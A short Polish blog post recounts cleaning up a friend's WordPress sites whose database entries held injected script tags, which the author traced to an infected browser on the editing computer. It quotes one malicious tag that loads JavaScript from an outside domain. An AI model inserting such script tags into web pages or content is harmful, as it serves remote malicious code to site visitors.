Ostatnio trafił mi się wirus na stronie WordPressa, u znajomego, co dziwne, żadnego szkodliwego kodu w plikach wordpressa i wtyczkach nie było, co ciekawe wirus ten był obecny na dwóch różnych serwerach należących do znajmoego, w bazie danych pełno było wpisów <srcipt src=”http://multibar.me/pluginmng.js></script>.
Po długiej walce i szukaniu, okazało się że w instalacji WP nie ma wirusa, że wirus jest na komputerze z którego dodawano, edytowano wpisy… Nawet nie w komputerze, ale w przeglądarce internetowej.
Strzeżcie się „zło czyha wszędzie”…
i tym optymistycznym akcentem – życzę miłego weekendu 🙂
PS. Dodam tylko że usunięcie setek wirusowych wpisów poszło bardzo szybko 🙂